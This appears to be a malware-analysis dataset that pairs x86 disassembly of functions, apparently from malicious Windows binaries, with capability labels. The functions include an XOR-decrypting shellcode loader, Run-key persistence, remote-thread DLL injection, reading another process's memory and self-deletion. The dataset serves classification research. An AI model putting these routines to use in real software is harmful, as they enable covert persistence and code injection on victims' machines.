joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x402c00
pop dword [ebp - 8]
mov eax, 0x402c00
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x58cd9d6a
sub dword [ebp - 0x18], 0xa7b581f
mov dword [ebp - 0x14], 0x1cbe8fa8
sub dword [ebp - 0x14], 0xea8b4363
mov dword [ebp - 0x10], 0xc51c1136
sub dword [ebp - 0x10], 0x78cfcd08
mov dword [ebp - 0xc], 0xfc527866
add dword [ebp - 0xc], 0x3ad879a
lea eax, [ebp - 0x18]
push eax
mov eax, 0x43e086dc
sub eax, 0x43a00650
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x49dd9686
sub dword [ebp - 0x18], 0xd56b2d30
mov dword [ebp - 0x14], 0x9709f405
sub dword [ebp - 0x14], 0x559d9290
mov dword [ebp - 0x10], 0xf89e423f
add dword [ebp - 0x10], 0x6ad12a2d
mov dword [ebp - 0xc], 0x3255fd99
sub dword [ebp - 0xc], 0x3255fd99
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x78f2d7ce
sub eax, 0x78b256fa
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x379ce
push 0
call eax
mov ecx, 0x4bb2
mov ebx, eax
mov edi, 0x135ba867
sub edi, 0x131a9867
add edi, dword [ebp - 8]
mov edx, 0x437f4b18
sub edx, 0xffd513cd
mov esi, dword [edi]
xor dword [ebp - 4], edi
xor esi, edx
mov dword [ebx], esi
sub dword [ebp - 4], 0x20a45c3d
add ebx, 4
add edi, 4
loop 0x402d17
add eax, 0x1219b
mov ebx, eax
add eax, 0xba28807f
add eax, 0x45d77f86
mov ecx, 0xe76b91a8
sub ecx, 0xe72b91a8
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x79d724
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79d72a
pop ebp
sub ebp, 6
sub ebp, 0x39d724
jmp 0x79d788
jmp 0x79d791
mov eax, 0x39d724
add eax, ebp
add eax, 0x93
mov ecx, 0x633
mov edx, 0xf292f257
xor byte [eax], dl
inc eax
dec ecx
jne 0x79d7a8
jmp 0x79d7bb
cmp eax, 0x47573f17
push edi
push edi
aas
push edi
wait
jnp 0x79d81e
salc
cmpsd dword [esi], dword es:[edi]
test dword [edx - 0x5829276a], 0xd8968af7
xchg edi, eax
pop es
test al, 0xc2
xchg ebx, eax
mul dword [edi + 0x57]
pop es
fcomp qword [edx + 0x576bdedc]
push edi
push edi
salc
xchg esi, eax
scasd eax, dword es:[edi]
push edi
push edi
push edi
push esp
lcall 0xed57, 0x575753ef
jg 0x79d84c
push edi
push edi
mov al, byte [0xdc9f54b5]
salc
pop ebx
push edi
push edi
push edi
push esp
xchg edx, eax
pop es
aas
int1
arpl word [esi + 0x57], bx
aas
sub al, 0xf5
push edi
push esi
jnp 0x79d884
aas
push edi
push edi
push edi
push edi
mov edi, 0x57575752
mov esi, 0x5757577f
push edi
push edi
add al, byte [ebx]
or bl, ah
rcr byte [edi + 0x57], cl
push edi
push edi
fadd st(2), st(0)
pop ebx
push edi
push edi
push edi
invalid
push edi
push edi
push edi
aas
int1
arpl word [esi + 0x57], bx
aas
sub al, 0xf5
push edi
push esi
jnp 0x79d8cf
push es
mov edi, 0x57575752
mov esi, 0x57575568
add bl, ah
mov ebx, 0xa85b22a8
and bl, byte [edi - 0x41]
and eax, 0xdc575757
ljmp 0xa6d6
cli
movsd dword es:[edi], dword [esi]
sbb esp, dword [esi + ebx*4 + 0x64]
test esp, edx
mov edi, 0xd3581f52
sbb dword [edi + 0x57], edx
push edi
pop eax
fistp word [edi]
push edi
push edi
push edi
xor esp, ebx
dec ebx
outsb dx, byte [esi]
xlatb
lodsb al, byte [esi]
mov edi, 0x574dd358
push edi
push edi
xlatb
lodsb al, byte [esi]
mov esi, 0x5746d358
push edi
push edi
xor esi, edx
lodsb al, byte [esi]
test al, 0x72
pop eax
rol dword [edx + 0x57], cl
push edi
push edi
push ss
mov esi, 0xa8a8a89b
jle 0x79d8df
outsb dx, byte [esi]
push esi
aam 0x96
push edx
aam 0xbf
push ebx
mov esi, 0xa8a8a8ea
test al, 0xa8
jle 0x79d8d6
outsb dx, byte [esi]
push ebp
aam 0x96
xchg esi, eax
push ecx
aam 0xbd
push ebx
aam 0xbf
push edx
mov esi, 0xa8a8a8fc
or dl, byte [ebp - 0x23fda8a5]
cld
test al, 0xa8
test al, 0xa
xchg ebp, eax
pop ebx
push edi
add bl, ah
mov ebx, 0xdc020001
and bl, byte [ebx - 0x24]
sub bl, byte [edi - 0x55]
in eax, 0xd7
fst qword [ecx - 0x2a]
xchg ecx, eax
push esi
push edi
push edi
push edi
fist word [eax - 0x2a]
nop
push esi
push edi
push edi
push edi
in al, dx
push ebp
push edi
push edi
push edi
push ebp
test dword [eax - 0x2e], ebx
push edx
push edi
push edi
push edi
fld qword [ecx + 0x11]
inc ebp
test dword [eax - 0x2c], ebx
invalid
Function at 0x10001822
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000182c
repz ret
jmp fcn.10001bc2

Function at 0xbd2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00bd21a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbd207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbd206a
add dl, dl
jne 0xbd2089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbd20dc
xor eax, eax
add dl, dl
jne 0xbd2096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbd217d
add dl, dl
jne 0xbd20a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbd20b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbd20bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbd20c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbd20d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbd2075
mov eax, 1
add dl, dl
jne 0xbd20ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbd20f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbd20e1
sub eax, ebx
mov ebx, 1
jne 0xbd2128
mov ecx, 1
add dl, dl
jne 0xbd210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbd2119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbd2105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbd2075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbd213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbd214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbd2136
cmp eax, 0x7d00
jae 0xbd216d
cmp eax, 0x500
jb 0xbd2168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbd2075
cmp eax, 0x7f
ja 0xbd2170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbd2075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbd219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbd2075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401170
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push edx
push 8
mov dword [ebp - 0x234], ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
xor ebx, ebx
mov dword [ebp - 0x230], ebx
cmp esi, 0xffffffff
je 0x401234
push 0x220
lea eax, [ebp - 0x228]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x22c], 0x224
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x40122d
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_Module32Next]
mov eax, ebx
lea ecx, [ebp - 0x20c]
nop word [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401210
test dl, dl
je 0x40120c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401210
add ecx, 2
add eax, 2
test dl, dl
jne 0x4011f0
xor eax, eax
jmp 0x401215
sbb eax, eax
or eax, 1
test eax, eax
je 0x4012b1
lea eax, [ebp - 0x22c]
push eax
push esi
call edi
test eax, eax
jne 0x4011e2
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [ebp - 8], ebx
cmp ecx, edx
je 0x401283
mov edi, dword [ecx]
lea esi, [ecx + 4]
add edi, ebx
mov dword [ebp - 8], edi
cmp esi, edx
je 0x40127f
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 4
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x234]
call ebx
mov edi, dword [esi]
add esi, 4
add edi, dword [ebp - 8]
mov dword [ebp - 8], edi
cmp esi, dword [ebp + 0x10]
jne 0x401255
mov ecx, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x230]
cmp edi, ebx
ja 0x401285
xor edi, edi
test ecx, ecx
je 0x4012cc
mov edx, dword [ebp + 0x14]
mov eax, ecx
sub edx, ecx
and edx, 0xfffffffc
cmp edx, 0x1000
jb 0x4012c2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4012c2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ebx, dword [ebp - 0x218]
mov dword [ebp - 0x230], ebx
jmp 0x40122d
push edx
push ecx
call fcn.00401ba2
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401b64
mov esp, ebp
pop ebp
ret
Function at 0x4012e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0xc], ecx
push edi
push 2
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x40136e
lea eax, [esp + 0x10]
xor esi, esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x40136e
mov edi, dword [esp + 0xc]
nop
lea eax, [esp + 0x34]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
lea eax, [esp + 0x10]
cmove esi, dword [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x401340
xor edi, edi
test esi, esi
cmovne edi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401b64
mov esp, ebp
pop ebp
ret

Function at 0x4017d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402935
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movq xmm0, qword [str.Trove.exe]
mov ax, word [0x4031e0]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x14], ax
lea ecx, [ebp - 0x1c]
call fcn.004012e0
mov esi, eax
test esi, esi
je 0x4018ce
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4018ce
push 0x10
call fcn.00401b72
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov dword [eax], ecx
mov dword [eax + 4], esi
mov dword [eax + 8], edi
mov dword [eax + 0xc], 0x4014e0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x401b00
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4018f8
mov dword [ebp - 4], 1
cmp dword [ebp - 0x20], 0
je 0x4018f0
call dword [sym.imp.MSVCP140.dll__Thrd_id]
mov ecx, dword [ebp - 0x20]
cmp ecx, eax
je 0x4018e8
push 0
push ecx
push dword [ebp - 0x24]
call dword [sym.imp.MSVCP140.dll__Thrd_join]
add esp, 0xc
test eax, eax
jne 0x4018e0
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
jne 0x4018da
push 0x3e8
call ebx
jmp 0x401818
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 2
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 5
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [ebp - 0x20], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x402404
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402443
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402443
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402443
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402443
cmp dword [ecx + 0x74], 0xe
jbe 0x402443
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x63641323
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x6364147c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x636415af
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x63641612
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636416d4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x63641647
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636416d4
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x63641671
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636416d4
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x636416b8
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x636416d4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x63641913
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x63641ca0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6364603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x63646034]
sub esp, 4
test ebx, ebx
je 0x63641ceb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x63641ce4
test esi, esi
je 0x63641ce4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x63641cc0
mov dword [esp], 0x6364603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x63641ed0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x636441bc
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x63641f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x63641ff8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x63641f5e
cmp eax, 4
jne 0x63641f80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x63641f6e
cmp edx, 4
je 0x63641f6e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.63641ed0
Function at 0x40107e
Capabilities:
Delete file
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax + 4]
push esi
mov esi, dword [eax]
push edi
xor edi, edi
cmp dword [0x44e934], 0x594
mov dword [ebp - 0x14], esi
jne 0x4010b2
push edi
lea eax, [ebp - 0x83c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x43f5e8]
mov dword [ebp - 0x34], eax
mov eax, dword [0x43f5ec]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
mov dword [ebp - 0x28], 0x9e3779b9
call fcn.00401077
mov eax, dword [0x43f5f0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x30], eax
mov eax, dword [0x43f5f4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], 0x20
jmp 0x4010f7
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x44e934], 0xc
mov dword [ebp - 4], eax
jne 0x401130
push edi
lea eax, [ebp - 0x43c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push edi
lea eax, [ebp - 0x38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov eax, dword [0x44e934]
cmp eax, 0xfa9
jne 0x40114c
mov dword [0x44e930], 0xedeb2e40
cmp eax, 0x3eb
jne 0x401172
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [0x44e888], edi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, esi
add eax, esi
shr edx, cl
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [0x44e92c], 0xf4ea3dee
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x34]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov esi, ebx
shr esi, cl
add eax, ebx
mov dword [ebp - 0x1c], eax
add esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
cmp dword [0x44e934], 0xb03
jne 0x4011e9
push str.bakusujemivasovuletapibeso_fahatibewajuluwegaji_picigulen
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
xor dword [ebp - 4], esi
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x4010f4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
leave
ret 4